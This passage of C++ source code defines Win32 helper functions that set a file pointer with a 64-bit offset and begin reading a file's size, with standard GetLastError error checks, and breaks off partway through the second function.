bool VDSetFilePointerW32(HANDLE h, sint64 pos, DWORD dwMoveMethod) {
	LONG posHi = (LONG)(pos >> 32);
	DWORD result = SetFilePointer(h, (LONG)pos, &posHi, dwMoveMethod);

	if (result != INVALID_SET_FILE_POINTER)
		return true;

	DWORD dwError = GetLastError();

	return (dwError == NO_ERROR);
}

bool VDGetFileSizeW32(HANDLE h, sint64& size) {
	DWORD dwSizeHigh;
	DWORD dwSizeLow = GetFileSize(h, &dwSizeHigh);

	if (dwSizeLow == (DWORD)-1 && GetLastError() != NO_ERROR)
		return false;